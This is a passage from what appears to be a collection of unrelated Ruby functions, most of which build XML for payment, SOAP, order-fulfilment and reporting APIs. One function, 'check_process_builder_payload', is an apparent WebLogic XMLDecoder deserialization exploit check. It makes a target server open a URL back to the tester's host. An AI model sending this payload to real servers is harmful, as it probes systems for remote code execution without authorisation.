API_VERSION)\n end", "def successful_authorize_response\n <<-XML\n <?xml version=\"1.0\" encoding=\"UTF-8\"?>\n <EngineDocList>\n <DocVersion DataType=\"String\">1.0</DocVersion>\n <EngineDoc>\n <Overview>\n <AuthCode DataType=\"String\">889350</AuthCode>\n <CcErrCode DataType=\"S32\">1</CcErrCode>\n <CcReturnMsg DataType=\"String\">Approved.</CcReturnMsg>\n <DateTime DataType=\"DateTime\">1212066788586</DateTime>\n <Mode DataType=\"String\">Y</Mode>\n <OrderId DataType=\"String\">483e6382-7d12-3001-002b-0003bac00fc9</OrderId>\n <TransactionId DataType=\"String\">483e6382-7d13-3001-002b-0003bac00fc9</TransactionId>\n <TransactionStatus DataType=\"String\">A</TransactionStatus>\n </Overview>\n </EngineDoc>\n </EngineDocList>\n XML\n end", "def build_xml( result )\n xml = ::Builder::XmlMarkup.new\n \n xml.ProcessResponse do \n xml.PxPayUserId ::Pxpay::Base.pxpay_user_id\n xml.PxPayKey ::Pxpay::Base.pxpay_key\n xml.Response result\n end\n end", "def purchase_invoice_register_one_line\n doc = Hpricot::XML(request.raw_post) \n doc = doc.to_s.gsub(\"&amp;\",\"&\")\n doc = Hpricot::XML(doc)\n @invoices = Purchase::PurchaseReport.purchase_invoice_register_one_line(doc)\n render :xml=>'<encoded>'+Base64.encode64(Zlib::Deflate.deflate(@invoices[0]['xmlcol']))+'</encoded>'\n end", "def request_wrap\n xml = <<-XML\n<CallSource version=\"E\">\n<Username>#{@user}</Username> \n<Authentication>#{auth_token}</Authentication> \n#{@service_tag}\n</CallSource>\n XML\n xml.strip!\n end", "def prepare_request(request, soap, args)\n super(request, soap, args)\n soap.header[:attributes!] ||= {}\n header_name = prepend_namespace(@element_name)\n soap.header[:attributes!][header_name] ||= {}\n soap.header[:attributes!][header_name]['xmlns'] = @auth_namespace\n end", "def add_to_store(template, optionsIn=nil, headers={})\n wmlTypeIn = extract_type(template)\n queryIn = escape_xml(template)\n soap_action = 'http://www.witsml.org/action/120/Store.WMLS_AddToStore'\n headers['SOAPAction'] = soap_action\n envelope_middle = <<END\n <ns0:WMLS_AddToStore SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">\n <WMLtypeIn>#{wmlTypeIn}</WMLtypeIn>\n <XMLin>#{queryIn}</XMLin>\n <OptionsIn>#{optionsIn || @optionsIn}</OptionsIn>\n <CapabilitiesIn>#{@capabilitiesIn}</CapabilitiesIn>\n </ns0:WMLS_AddToStore>\nEND\n return send envelope_middle, headers\n end", "def add_encrypted_generic_request_to_soap(encrypted_request)\n encrypted_request = Nokogiri::XML(encrypted_request.to_xml)\n encrypted_request = encrypted_request.root\n encrypted_request = encode encrypted_request.to_xml\n @template.at_css('bxd|ApplicationRequest').add_child(encrypted_request)\n\n @template\n end", "def bare\n x = Builder::XmlMarkup.new(:indent => 2)\n x.instruct!\n x.declare! :DOCTYPE, :Request, :SYSTEM, HostConnect.config.dtd\n x\n end", "def make_enq_data\r\n tmp = \"Enquiry:<BR>\"\r\n tmp += \"Client Name: \" + @e.client_name + \"<BR>\" if @e.client_name\r\n tmp += \"Client Email: \" + @e.client_email + \"<BR>\" if @e.client_email\r\n tmp += \"Client Phone: \" + @e.client_phone + \"<BR>\" if @e.client_phone\r\n tmp += \"Agent: \" + @e.agent + \"<BR>\" if @e.agent\r\n tmp += \"Aref: \" + @e.aref + \"<BR>\" if @e.aref\r\n tmp += \"Price: \" + @e.price + \"<BR>\" if @e.price\r\n tmp += \"Region: \" + @e.region + \"<BR>\" if @e.region\r\n tmp += \"Department: \" + @e.department + \"<BR>\" if @e.department\r\n tmp += \"Information Requested: \" + @e.info_req + \"<BR>\" if @e.info_req\r\n tmp += \"Viewing Info: \" + @e.viewing_info + \"<BR>\" if @e.viewing_info\r\n \r\n tmp\r\n end", "def submit_order(printer_order)\n return_data = {}\n printer = printer_order.printer\n order = printer_order.order_line_items[0].order\n login_data = login(printer)\n session_id = login_data[:session_id]\n\n Rails.logger.debug \"---------- *session id for login to spreadshirt* -----------\"\n Rails.logger.debug \"value: #{session_id}\"\n Rails.logger.debug \"---------- ***** -----------\"\n\n #formatted_no_decl = Nokogiri::XML::Node::SaveOptions::FORMAT + Nokogiri::XML::Node::SaveOptions::NO_DECLARATION\n\n builder = Nokogiri::XML::Builder.new do |xml|\n xml.order(:\"xmlns:xlink\" => \"http://www.w3.org/1999/xlink\", :xmlns => \"http://api.spreadshirt.com\") {\n xml.shop(:id => printer.external_shop_id)\n xml.orderItems {\n\n # loop through each of our line items\n printer_order.order_line_items.each do |order_line_item|\n product_attachment_name = \"reference-product-#{order_line_item.id}\"\n image_attachment_name = \"reference-image-#{order_line_item.id}\"\n product = order_line_item.listing.product\n xml.orderItem {\n xml.quantity order_line_item.quantity\n xml.element(:type => \"sprd:product\", :\"xlink:href\" => \"http://api.spreadshirt.com/api/v1/shops/#{printer.external_shop_id}/products/#{product_attachment_name}\") {\n xml.properties{\n xml.property(order_line_item.master_product_color.external_id, :key => \"appearance\")\n xml.property(order_line_item.master_product_size.external_id, :key => \"size\") # size now comes from shopify\n }\n }\n xml.correlation {\n xml.partner {\n xml.orderItemId order_line_item.id\n }\n }\n xml.attachments {\n xml.attachment(:type => \"sprd:product\", :id => product_attachment_name) {\n xml.product(:\"xmlns:xlink\" => \"http://www.w3.org/1999/xlink\", :xmlns => \"http://api.spreadshirt.com\") {\n xml.productType(:id => product.master_product.external_id)\n xml.appearance(:id => order_line_item.master_product_color.external_id)\n xml.restrictions {\n xml.freeColorSelection false\n xml.example false\n }\n xml.configurations {\n xml.configuration(:type => \"design\") {\n xml.printArea(:id => product.master_product_print_area.external_id)\n xml.printType(:id => \"17\")\n xml.offset(:unit => \"mm\") {\n xml.x product.print_image_x_offset\n xml.y product.print_image_y_offset\n }\n ##========== *calculating DPI* ===========##\n # DPI = Pixel x 25.4 / X(mm)\n # \n order_dpi = (4000 * 25.4 / product.master_product_print_area.view_size_width).round(0)\n\n ##========== ***** ==========##\n \n xml.content(:dpi => order_dpi, :unit => \"mm\") {\n xml.svg {\n xml.image(:width => (product.master_product_print_area.print_area_width/10).floor * 10, :height => (product.master_product_print_area.print_area_height/10).floor * 10,\n :designId => image_attachment_name, :printColorIds => \"\")\n }\n }\n xml.restrictions {\n xml.changeable false\n }\n }\n }\n }\n }\n xml.attachment(:type => \"sprd:design\", :id => image_attachment_name) {\n xml.reference(:\"xlink:href\" => product.print_image.url)\n }\n }\n }\n end\n }\n\n xml.correlation {\n xml.partner {\n xml.id printer.account\n xml.orderId printer_order.id\n }\n }\n\n xml.payment {\n xml.type \"EXTERNAL_FULFILLMENT\"\n }\n\n xml.shipping {\n xml.shippingType(:id => \"14\")\n xml.address {\n xml.person {\n xml.salutation(:id => \"99\")\n xml.firstName \"-\"\n xml.lastName order.shipping_name\n }\n xml.street order.shipping_address\n xml.streetAnnex order.shipping_address2\n xml.city order.shipping_city\n # xml.state(order_line_item.order.shipping_state, :code => order_line_item.order.shipping_state)\n # xml.country(order_line_item.order.shipping_country, :code => order_line_item.order.shipping_country)\n xml.state(order.shipping_state, :code => order.shipping_state_code)\n xml.country(order.shipping_country, :code => order.shipping_country_code)\n xml.zipCode order.shipping_postal_code\n xml.email \"[email protected]\"\n }\n }\n\n xml.billing {}\n }\n end\n # data = builder.to_xml( save_with:formatted_no_decl )\n data = builder.to_xml\n\n Rails.logger.debug \"---------- *request body for submitting order to spreadshirt* -----------\"\n Rails.logger.debug \"value: #{data}\"\n Rails.logger.debug \"---------- ***** -----------\"\n\n begin\n response = SpreadshirtClient.post \"/orders\", data, authorization: true, session: session_id\n rescue Exception => e\n\n Rails.logger.debug \"---------- *exception when submiting order to spreadshirt * -----------\"\n Rails.logger.debug \"value: #{e.message}\"\n Rails.logger.debug \"---------- ***** -----------\"\n\n end\n Rails.logger.debug \"---------- *response data when is submitted some orders to spreadshirt* -----------\"\n Rails.logger.debug \"value: #{response}\"\n Rails.logger.debug \"---------- ***** -----------\"\n\n doc = Nokogiri::XML(response)\n order_id = doc.children.first[:id]\n return_data[:status] = \"Submitted\"\n return_data[:external_id] = order_id\n\n return return_data\n end", "def prepare_final_xml\n @base_xml.elements[\"#{@ns}:OccupancyLevels/#{@ns}:OccupancyLevel/#{@ns}:OccupantQuantity\"].text = @occupant_quantity if !@occupant_quantity.nil?\n @base_xml.elements[\"#{@ns}:SpatialUnits/#{@ns}:SpatialUnit/#{@ns}:NumberOfUnits\"].text = @number_of_units if !@number_of_units.nil?\n\n # Add new element in the XML file\n add_user_defined_field_to_xml_file('OpenStudioModelName', @name)\n add_user_defined_field_to_xml_file('StandardTemplateYearOfConstruction', @built_year)\n add_user_defined_field_to_xml_file('StandardTemplate', @standard_template)\n add_user_defined_field_to_xml_file('BuildingRotation', @building_rotation)\n add_user_defined_field_to_xml_file('FloorHeight', @floor_height)\n add_user_defined_field_to_xml_file('WindowWallRatio', @wwr)\n add_user_defined_field_to_xml_file('PartyWallStoriesNorth', @party_wall_stories_north)\n add_user_defined_field_to_xml_file('PartyWallStoriesSouth', @party_wall_stories_south)\n add_user_defined_field_to_xml_file('PartyWallStoriesEast', @party_wall_stories_east)\n add_user_defined_field_to_xml_file('PartyWallStoriesWest', @party_wall_stories_west)\n add_user_defined_field_to_xml_file('Width', @width)\n add_user_defined_field_to_xml_file('Length', @length)\n add_user_defined_field_to_xml_file('PartyWallFraction', @party_wall_fraction)\n add_user_defined_field_to_xml_file('ModelNumberThermalZones', @model.getThermalZones.size)\n add_user_defined_field_to_xml_file('ModelNumberSpaces', @model.getSpaces.size)\n add_user_defined_field_to_xml_file('ModelNumberStories', @model.getBuildingStorys.size)\n add_user_defined_field_to_xml_file('ModelNumberPeople', @model.getBuilding.numberOfPeople)\n add_user_defined_field_to_xml_file('ModelFloorArea(m2)', @model.getBuilding.floorArea)\n\n wf = @model.weatherFile.get\n add_user_defined_field_to_xml_file('ModelWeatherFileName', wf.nameString)\n add_user_defined_field_to_xml_file('ModelWeatherFileDataSource', wf.dataSource)\n add_user_defined_field_to_xml_file('ModelWeatherFileCity', wf.city)\n add_user_defined_field_to_xml_file('ModelWeatherFileStateProvinceRegion', wf.stateProvinceRegion)\n add_user_defined_field_to_xml_file('ModelWeatherFileLatitude', wf.latitude)\n add_user_defined_field_to_xml_file('ModelWeatherFileLongitude', wf.longitude)\n prepare_final_xml_for_spatial_element\n end", "def header\n @io.content_type = content_type if @io.respond_to?(:content_type)\n\n @io << \"<html>\"\n @io << tag(:head) do |headers|\n headers << tag(:title, 'Request-log-analyzer report')\n headers << tag(:style, '\n body {\n \tfont: normal 11px auto \"Trebuchet MS\", Verdana, Arial, Helvetica, sans-serif;\n \tcolor: #4f6b72;\n \tbackground: #E6EAE9;\n \tpadding-left:20px;\n \tpadding-top:20px;\n \tpadding-bottom:20px;\n }\n\n a {\n \tcolor: #c75f3e;\n }\n\n .color_bar {\n border: 1px solid;\n height:10px;\n \tbackground: #CAE8EA;\n }\n\n #mytable {\n \twidth: 700px;\n \tpadding: 0;\n \tmargin: 0;\n \tpadding-bottom:10px;\n }\n\n caption {\n \tpadding: 0 0 5px 0;\n \twidth: 700px;\t\n \tfont: italic 11px \"Trebuchet MS\", Verdana, Arial, Helvetica, sans-serif;\n \ttext-align: right;\n }\n\n th {\n \tfont: bold 11px \"Trebuchet MS\", Verdana, Arial, Helvetica, sans-serif;\n \tcolor: #4f6b72;\n \tborder-right: 1px solid #C1DAD7;\n \tborder-bottom: 1px solid #C1DAD7;\n \tborder-top: 1px solid #C1DAD7;\n \tletter-spacing: 2px;\n \ttext-transform: uppercase;\n \ttext-align: left;\n \tpadding: 6px 6px 6px 12px;\n \tbackground: #CAE8EA url(images/bg_header.jpg) no-repeat;\n }\n\n td {\n \tfont: bold 11px \"Trebuchet MS\", Verdana, Arial, Helvetica, sans-serif;\n \tborder-right: 1px solid #C1DAD7;\n \tborder-bottom: 1px solid #C1DAD7;\n \tbackground: #fff;\n \tpadding: 6px 6px 6px 12px;\n \tcolor: #4f6b72;\n }\n\n td.alt {\n \tbackground: #F5FAFA;\n \tcolor: #797268;\n }\n ', :type => \"text/css\")\n end\n @io << '<body>'\n @io << tag(:h1, 'Request-log-analyzer summary report')\n @io << tag(:p, \"Version #{RequestLogAnalyzer::VERSION} - written by Willem van Bergen and Bart ten Brinke\")\n end", "def to_xml\n\t\t\ttext = \"\"\n\t\t\[email protected](text, 1)\n\t\t\treturn text\n\t\tend", "def request\n result = {}\n req_xml.blank? ? xml = '' : xml = req_xml\n doc = Hpricot.XML(xml)\n (doc/:RequestAuth/:UserPass/:User).inner_html = 'XXXXXXXX'\n (doc/:RequestAuth/:UserPass/:Password).inner_html = 'XXXXXXXX'\n result[:xml] = ErpHelper.xml2html(doc.to_s)\n result[:street] = (doc/:BillTo/:Address/:Street).inner_text\n result[:city] = (doc/:BillTo/:Address/:City).inner_text\n result[:state] = (doc/:BillTo/:Address/:State).inner_text\n result[:zip] = (doc/:BillTo/:Address/:Zip).inner_text\n result[:country] = (doc/:BillTo/:Address/:Country).inner_text\n result[:amount] = (doc/:PayData/:Invoice/:TotalAmt).inner_text\n result[:safe_cc_number] = (doc/:Tender/:Card/:CardNum).inner_text\n result[:expiration_date] = (doc/:Tender/:Card/:ExpDate).inner_text\n result[:expiration_year] = result[:expiration_date][-4,2]\n result[:expiration_month] = result[:expiration_date][-2,2]\n return result\n end", "def generate_xml(row)\n xml = Builder::XmlMarkup.new\n xml.PAP_INTVSCH_RECORD do |d|\n d.appLseNumber(row[\"appNumber\"])\n d.enabled(\"Y\")\n (0..@config[\"lease_terms\"].to_i).each do |i|\n\n duedate = row[\"dueDate_#{i}\"].nil? ? '' : row[\"dueDate_#{i}\"]\n amount = row[\"amount_#{i}\"].nil? ? '' : row[\"amount_#{i}\"]\n\n d.__send__(\"dueDate_#{i}\") do\n d << duedate\n end\n d.__send__(\"amount_#{i}\") do\n d << amount\n end\n end\n end\n end", "def send_raw(xml)\n open\n @soap_client.ProcessRequest(@ticket, xml)\n close \n end", "def signon_app_cert_rq()\n xml = Builder::XmlMarkup.new(:indent => 2)\n create_xml_header(xml, options)\n\n xml.tag!('QBMSXML') do\n xml.tag!('SignonMsgsRq') do\n xml.tag!('SignonAppCertRq') do\n xml.tag!('ClientDateTime', Time.now)\n xml.tag!('ApplicationLogin', @options[:applogin])\n xml.tag!('ConnectionTicket', @options[:conntkt])\n end\n end\n end\n xml.target!\n end", "def create\n token_ok, token_error = helpers.API_validate_token(request)\n if not token_ok\n render json: {message: token_error }, status: 401\n else\n begin\n\n # Get last order no. for company\n new_wr_no = Order.get_last_order_no(params['companyId'])\n\n # Save WR data\n wr_order = WarehouseReceipt.new\n # Block General\n wr_order.company_id = params['companyId']\n wr_order.client_id = params['clientId']\n wr_order.order_no = new_wr_no + 1\n wr_order.applicant_name = params['applicantName']\n wr_order.client_ref = params['clientRef']\n wr_order.delivery_datetime = params['deliveryDatetime']\n wr_order.eta = params['eta']\n wr_order.incoterm = params['incoterm']\n wr_order.legacy_order_no = params['legacyOrderNo']\n wr_order.observations = params['observations']\n wr_order.order_datetime = params['orderDatetime']\n wr_order.status = params['status']\n wr_order.order_type = params['orderType']\n wr_order.pieces = params['pieces']\n wr_order.shipment_method = params['shipmentMethod']\n wr_order.third_party_id = params['thirdPartyId']\n # Block Shipper\n wr_order.from_entity = params['fromEntity']\n wr_order.from_address1 = params['fromAddress1']\n wr_order.from_address2 = params['fromAddress2']\n wr_order.from_city = params['fromCity']\n wr_order.from_zipcode = params['fromZipcode']\n wr_order.from_state = params['fromState']\n wr_order.from_country_id = params['fromCountryId']\n wr_order.from_contact = params['fromContact']\n wr_order.from_email = params['fromEmail']\n wr_order.from_tel = params['fromTel']\n # Block Consignee\n wr_order.to_entity = params['toEntity']\n wr_order.to_address1 = params['toAddress1']\n wr_order.to_address2 = params['toAddress2']\n wr_order.to_city = params['toCity']\n wr_order.to_zipcode = params['toZipcode']\n wr_order.to_state = params['toState']\n wr_order.to_country_id = params['toCountryId']\n wr_order.to_state = params['toState']\n wr_order.to_contact = params['toContact']\n wr_order.to_email = params['toEmail']\n wr_order.to_tel = params['toTel']\n # GROUND\n wr_order.ground_entity = params['groundEntity']\n wr_order.ground_booking_no = params['groundBookingNo']\n wr_order.ground_departure_city = params['groundDepartureCity']\n wr_order.ground_departure_date = params['groundDepartureDate']\n wr_order.ground_arrival_city = params['groundArrivalCity']\n wr_order.ground_arrival_date = params['groundArrivalDate']\n # AIR\n wr_order.air_entity = params['airEntity']\n wr_order.air_waybill_no = params['airWaybillNo']\n wr_order.air_departure_city = params['airDepartureCity']\n wr_order.air_departure_date = params['airDepartureDate']\n wr_order.air_arrival_city = params['airArrivalCity']\n wr_order.air_arrival_date = params['airArrivalDate']\n # SEA\n wr_order.sea_entity = params['seaEntity']\n wr_order.sea_bill_landing_no = params['seaBillLandingNo']\n wr_order.sea_booking_no = params['seaBookingNo']\n wr_order.sea_containers_no = params['seaContainersNo']\n wr_order.sea_departure_city = params['seaDepartureCity']\n wr_order.sea_departure_date = params['seaDepartureDate']\n wr_order.sea_arrival_city = params['seaArrivalCity']\n wr_order.sea_arrival_date = params['seaArrivalDate']\n wr_order.save!\n\n puts '*** WR ORDER SALVADA: ' + wr_order.order_no.to_s\n\n respond_to do |format|\n format.json { render json: {message: \"Warehouse Receipt saved. WR No. #{r_order.order_no.to_s}\",\n orderId: wr_order.id,\n orderNo: wr_order.order_no},\n :status => 200 }\n end\n\n rescue => e\n puts \"*** WarehouseReceipt ERROR:\"\n puts e.backtrace\n respond_to do |format|\n format.json { render json: {message: 'Error saving the warehouse receipt no. ' + wr_order.order_no.to_s,\n extraMsg: e.message},\n :status => 404 }\n end\n end\n end\n end", "def authorizeXML(params) \n begin\n Nokogiri::XML::Builder.new do |xml|\n xml.AuthorizeTransaction('xmlns:i' => 'http://www.w3.org/2001/XMLSchema-instance', \n 'xmlns' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Rest',\n 'i:type' =>\"AuthorizeTransaction\" ) {\n xml.ApplicationProfileId application_profile_id\n xml.MerchantProfileId merchant_profile_id\n xml.Transaction('xmlns:ns1' => \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Bankcard\",\n 'i:type' => \"ns1:BankcardTransaction\" ){\n xml['ns1'].TenderData{\n if params[:SwipeStatus].present? && params[:IdentificationInformation].present? && params[:SecurePaymentAccountData].present? && params[:EncryptionKeyId].present?\n #p \"Swipe card..maga...\"\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\n \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:SecurePaymentAccountData])\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:EncryptionKeyId])\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:SwipeStatus])\n xml['ns1'].CardSecurityData{\n xml['ns1'].IdentificationInformation params[:IdentificationInformation]\n }\n xml['ns1'].CardData('i:nil' =>\"true\")\n elsif params[:SecurePaymentAccountData].present? && params[:EncryptionKeyId].present? \n #p \"Swipe card..Dukp...\"\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\n \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:SecurePaymentAccountData])\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:EncryptionKeyId])\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\") \n xml['ns1'].CardSecurityData{\n xml['ns1'].IdentificationInformation('i:nil' =>\"true\")\n }\n xml['ns1'].CardData('i:nil' =>\"true\")\n xml['ns1'].EcommerceSecurityData('i:nil' =>\"true\") \n elsif params[:PaymentAccountDataToken].present?\n #p \"PaymentAccountDataToken...........\"\n xml['ns4'].PaymentAccountDataToken('xmlns:ns4' =>\n \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:PaymentAccountDataToken])\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\") \n xml['ns1'].CardData('i:nil' =>\"true\")\n xml['ns1'].EcommerceSecurityData('i:nil' =>\"true\") \n else \n #p \"without token....\"\n xml['ns4'].PaymentAccountDataToken('xmlns:ns4' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\", 'i:nil' =>\"true\")\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns1'].CardData{\n xml['ns1'].CardType params[:CardType] \n if params[:Track2Data].present?\n xml['ns1'].Track2Data params[:Track2Data]\n xml['ns1'].PAN('i:nil' =>\"true\") \n xml['ns1'].Expire('i:nil' =>\"true\")\n xml['ns1'].Track1Data('i:nil' =>\"true\")\n elsif params[:Track1Data].present?\n xml['ns1'].Track1Data params[:Track1Data]\n xml['ns1'].PAN('i:nil' =>\"true\") \n xml['ns1'].Expire('i:nil' =>\"true\")\n xml['ns1'].Track2Data('i:nil' =>\"true\")\n else\n xml['ns1'].PAN params[:PAN] \n xml['ns1'].Expire params[:Expire]\n xml['ns1'].Track1Data('i:nil' =>\"true\")\n xml['ns1'].Track2Data('i:nil' =>\"true\")\n end \n }\n xml['ns1'].EcommerceSecurityData('i:nil' =>\"true\") \n end\n }\n xml['ns2'].CustomerData('xmlns:ns2' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\"){\n xml['ns2'].BillingData{\n xml['ns2'].Name('i:nil' =>\"true\")\n xml['ns2'].Address{\n xml['ns2'].Street1 params[:Street1] \n xml['ns2'].Street2('i:nil' =>\"true\")\n xml['ns2'].City params[:City] \n xml['ns2'].StateProvince params[:StateProvince]\n xml['ns2'].PostalCode params[:PostalCode]\n xml['ns2'].CountryCode params[:CountryCode]\n }\n xml['ns2'].BusinessName 'MomCorp'\n xml['ns2'].Phone params[:Phone]\n xml['ns2'].Fax('i:nil' =>\"true\")\n xml['ns2'].Email params[:Email]\n }\n xml['ns2'].CustomerId 'cust123'\n xml['ns2'].CustomerTaxId('i:nil' =>\"true\")\n xml['ns2'].ShippingData('i:nil' =>\"true\")\n }\n xml['ns3'].ReportingData('xmlns:ns3' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\"){\n xml['ns3'].Comment 'a test comment'\n xml['ns3'].Description 'a test description'\n xml['ns3'].Reference '001'\n }\n xml['ns1'].TransactionData{\n if params[:Amount] != ''\n xml['ns8'].Amount('xmlns:ns8' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:Amount])\n else\n xml['ns8'].Amount('xmlns:ns8' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('0.00')\n end\n #xml['ns8'].Amount('xmlns:ns8' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:Amount])\n xml['ns9'].CurrencyCode('xmlns:ns9' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('USD') \n xml['ns10'].TransactionDateTime('xmlns:ns10' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('2013-04-03T13:50:16')\n xml['ns11'].CampaignId('xmlns:ns11' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns12'].Reference('xmlns:ns12' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('xyt')\n xml['ns1'].AccountType 'NotSet'\n xml['ns1'].ApprovalCode('i:nil' =>\"true\")\n xml['ns1'].CashBackAmount '0.0'\n xml['ns1'].CustomerPresent 'Present'\n xml['ns1'].EmployeeId '11'\n xml['ns1'].EntryMode params[:EntryMode]\n xml['ns1'].GoodsType 'NotSet'\n xml['ns1'].IndustryType params[:IndustryType]\n xml['ns1'].InternetTransactionData('i:nil' =>\"true\")\n xml['ns1'].InvoiceNumber params[:InvoiceNumber]\n xml['ns1'].OrderNumber params[:OrderNumber]\n xml['ns1'].IsPartialShipment 'false'\n xml['ns1'].SignatureCaptured 'false'\n xml['ns1'].FeeAmount '0.0'\n xml['ns1'].TerminalId('i:nil' =>\"true\")\n xml['ns1'].LaneId('i:nil' =>\"true\")\n xml['ns1'].TipAmount '0.0'\n xml['ns1'].BatchAssignment('i:nil' =>\"true\")\n xml['ns1'].PartialApprovalCapable 'NotSet'\n xml['ns1'].ScoreThreshold('i:nil' =>\"true\")\n xml['ns1'].IsQuasiCash 'false' \n }\n }\n } \n end.to_xml \n rescue Exception => ex\n return \"Some value not set in xml for authorizeXML!\"\n end\n end", "def xml; end", "def check_process_builder_payload\r\n xml = %Q{<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\">\r\n <soapenv:Header>\r\n <work:WorkContext xmlns:work=\"http://bea.com/2004/06/soap/workarea/\">\r\n <java version=\"1.8\" class=\"java.beans.XMLDecoder\">\r\n <void id=\"url\" class=\"java.net.URL\">\r\n <string>#{get_uri.encode(xml: :text)}</string>\r\n </void>\r\n <void idref=\"url\">\r\n <void id=\"stream\" method = \"openStream\" />\r\n </void>\r\n </java>\r\n </work:WorkContext>\r\n </soapenv:Header>\r\n <soapenv:Body/>\r\n</soapenv:Envelope>}\r\n end", "def xml\n @xml ||= begin\n builder = ::Builder::XmlMarkup.new(:indent => 4)\n\n authed_xml_as_string(builder) do\n builder.GetReceiptInfoCall do\n builder.ReceiptFilter do\n builder.ReceiptId(id)\n end\n end\n end\n end\n end", "def weixin_xml\n template_xml = <<Text\n<xml>\n <ToUserName><![CDATA[#{to_user_name}]]></ToUserName>\n <FromUserName><![CDATA[#{from_user_name}]]></FromUserName>\n <CreateTime>#{create_time.to_i}</CreateTime>\n <MsgType><![CDATA[#{msg_type}]]></MsgType>\n <PicUrl><![CDATA[#{pic_url}]]></PicUrl>\n</xml> \nText\n end", "def html_report(test_report, extra_report_header)\n\n html_report = <<-EOS\n <html>\n EOS\n\n html_style = <<-EOS\n <style>\n body {background-color: #FFFFF0; font-family: \"VAG Round\" ; color : #000080;font-weight:normal;word-break: break-all;}\n #specs-table{font-family:Arial,Helvetica,Sans-serif;font-size:12px;text-align:left;border-collapse:collapse;border-top: 2px solid #6678B1;border-bottom: 2px solid #6678B1;margin:20px;}\n #specs-table th{font-size:13px;font-weight:normal;background:#b9c9fe;border-top:4px solid #aabcfe;border-bottom:1px solid #fff;color:#039;padding:8px;}\n #specs-table td{background:#e8edff;border-top:1px solid #fff;border-bottom:1px solid #fff;color:#039;padding:8px;}\n #specifications{font-family:Arial,Helvetica,Sans-serif;font-size:13px;width:480px;background:#fff;border-collapse:collapse;text-align:left;margin:20px;border:1px solid #ccc;}\n #specifications th{font-size:14px;font-weight:bold;color:#039;border-bottom:2px solid #6678b1;padding:10px 8px;}\n #specifications td{border-bottom:1px solid #ccc;color:#009;padding:6px 8px;}\n #statuspass{font-family:Arial,Helvetica,Sans-serif;font-size:12px;color:green;font-weight:bold;}\n #statusfail{font-family:Arial,Helvetica,Sans-serif;font-size:12px;color:red;font-weight:bold;}\n #tcs{font-family:Arial,Helvetica,Sans-serif;font-size:13px;background:#fff;width:900px;border-collapse:collapse;text-align:left;margin:20px;border:1px solid #ccc;}\n #tcs th{font-size:14px;font-weight:bold;color:#039;border-bottom:2px solid #6678b1;padding:10px 8px;}\n #tcs td{border-bottom:1px solid #ccc;color:#009;padding:6px 8px;}\n #checkpoint{font-family:Arial,Helvetica,Sans-serif;font-size:13px;background:#fff;width:900px;border-collapse:collapse;text-align:left;margin:20px;border:1px solid #ccc;}\n #checkpoint td{border-bottom:1px solid #ccc;color:#009;padding:6px 8px;}\n #container{margin: 0 30px;background: #fff;border:1px solid #ccc;}\n #header{background: #e8edff;padding: 2px;border-bottom: 2px solid #6678b1;}\n #steps{background: #e8edff;font-weight: bold;}\n #dp{font-weight: bold;}\n #validations{font-weight: bold;}\n #content{clear: left;padding: 10px;}\n #footer{background: #e8edff;text-align: right;padding: 10px;}\n </style>\n EOS\n\n title = <<-EOS\n <head><title>#{test_report[:test_suite_title]}</title></head>\n\n <body>\n EOS\n\n html_report += html_style + title\n\n report_header = <<-EOS\n <center>\n\n <a name=#{replace_space_by_dash(test_report[:test_suite_title])}></a>\n <table id=\"specifications\">\n <th align=\"center\">#{test_report[:test_suite_title]}</th>\n <tr><td>Test specification: #{test_report[:test_spec_path]}</td></tr>\n <tr><td>Kadu server: #{test_report[:kadu_server]}</td></tr>\n EOS\n @test_report[:test_cases].each do |tc_id, tc|\n if tc.has_key?(:server_info)\n report_header += <<-EOS\n <tr><td>Kadu branch: #{tc[:server_info][:kadu_branch]}</td></tr>\n <tr><td>Kadu version: #{tc[:server_info][:kadu_version]}</td></tr>\n <tr><td>Kadu index: #{tc[:server_info][:kadu_index]}</td></tr>\n EOS\n break\n end\n end\n if !extra_report_header.nil?\n details = 